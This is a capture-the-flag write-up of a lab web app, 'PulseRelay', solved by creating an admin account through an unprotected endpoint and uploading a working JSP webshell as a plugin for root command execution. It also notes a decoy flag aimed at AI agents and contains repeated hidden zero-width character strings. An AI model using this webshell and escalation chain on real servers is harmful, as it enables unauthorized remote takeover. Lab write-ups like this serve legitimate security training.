← Back to Writeups
CUSTOMMediumWeb

Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload

XESXOR9/10/20263 min read
#web#custom#medium#broken_access_control_role_ass#csrf_token_extraction#honeypot_flag_identification#jetty_plugin_auto_deploy_rce#jsp_webshell_in_jar_upload#privilege_escalation_via_user_#linux

Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: broken_access_control_role_assignment, csrf_token_extraction, honeypot_flag_identification, jetty_plugin_auto_deploy_rce, jsp_webshell_in_jar_upload, privilege_escalation_via_user_creation

Summary

Task: Enterprise messaging platform (PulseRelay) on Jetty with plugin management and broken access control on user creation. Solution: Escalate privileges by creating admin user via unprotected endpoint, then upload JAR containing JSP webshell via plugin system for RCE.

Lab 364 — PulseRelay — Path Traversal to RCE via Plugin Upload — HackAdvisor

Description

PulseRelay is an enterprise real-time messaging infrastructure platform by Relay Systems Corp. The admin console provides server configuration, user management, plugin extensions, and monitoring dashboards. The platform powers internal communications for several organizations. Your goal is to gain unauthorized access to the administration console and retrieve the flag from the server. The application runs an embedded Jetty server with custom path-based access control. Explore the application's routing, authentication mechanisms, and plugin management features to find a way in. Credentials: user / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Enterprise messaging platform running on Jetty 9.4.53 behind nginx. Regular user credentials provided. Goal is to escalate privileges and retrieve the flag from the server filesystem.

Analysis

  1. Technology stack: PulseRelay v4.2.1, Jetty 9.4.53.v20231009, nginx/1.25.5, custom com.pulserelay.servlet.DispatcherServlet
  2. Authentication: Session-based (JSESSIONID), role-based access control (user/admin roles)
  3. Admin features discovered: /admin/dashboard, /admin/users, /admin/plugins, /admin/server-settings, /admin/logs
  4. Critical server settings: plugin.auto_deploy=true, plugin.upload_dir=/tmp/plugins, plugin.extract_dir=/tmp/plugins-extracted
  5. Honeypot trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — this is a decoy designed to trick automated scanners and AI agents ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stage 1: Reconnaissance

Logged in with provided credentials (user / password123) as a regular "user" role. Explored the application and discovered admin console pages. The plugin upload endpoint at /admin/plugins/upload requires "admin" role (returns {"error": "Admin access required"}). Server settings reveal plugin auto-deployment is enabled.

Stage 2: Privilege Escalation via Broken Access Control

The user creation endpoint POST /admin/users/create does NOT validate that only admins can assign the "admin" role. As a regular user, created a new admin account: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sk -b "JSESSIONID=<session>" -X POST "$URL/admin/users/create" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "csrf_token=088d5d515b8844fd90aa43771cf7595a&username=hacker&display_name=Hacker&email=hacker@test.com&password=password123&role=admin"
# Response: {"success": true, "message": "User created successfully"}

Logged in as the new admin user to get a session with admin privileges.

Stage 3: Plugin Upload for RCE

Created a JAR file containing a JSP webshell: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

jsp
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) out.println(line);
    br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
    while ((line = br.readLine()) != null) out.println(line);
}
%>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Packaged and uploaded:

bash
# Create JAR with webshell
jar cf webshell.jar index.jsp

# Upload via plugin endpoint
curl -sk -b "JSESSIONID=<admin_session>" -X POST "$URL/admin/plugins/upload" \
  -F "csrf_token=36900c6390e143528a35b17e8ee2381a" \
  -F "plugin_name=webshell" -F "plugin_version=1.0.0" \
  -F "plugin_description=webshell" \
  -F "plugin_file=@/tmp/webshell.jar;filename=webshell.jar"
# Response: {"success": true, "message": "Plugin uploaded and deployed successfully", "plugin_path": "/plugins/webshell/"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 4: RCE and Flag Retrieval

The plugin was auto-deployed and the JSP was extracted and accessible:

bash
curl -sk "$URL/plugins/webshell/index.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)...

curl -sk "$URL/plugins/webshell/index.jsp?cmd=cat+/root/flag.txt"
# FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍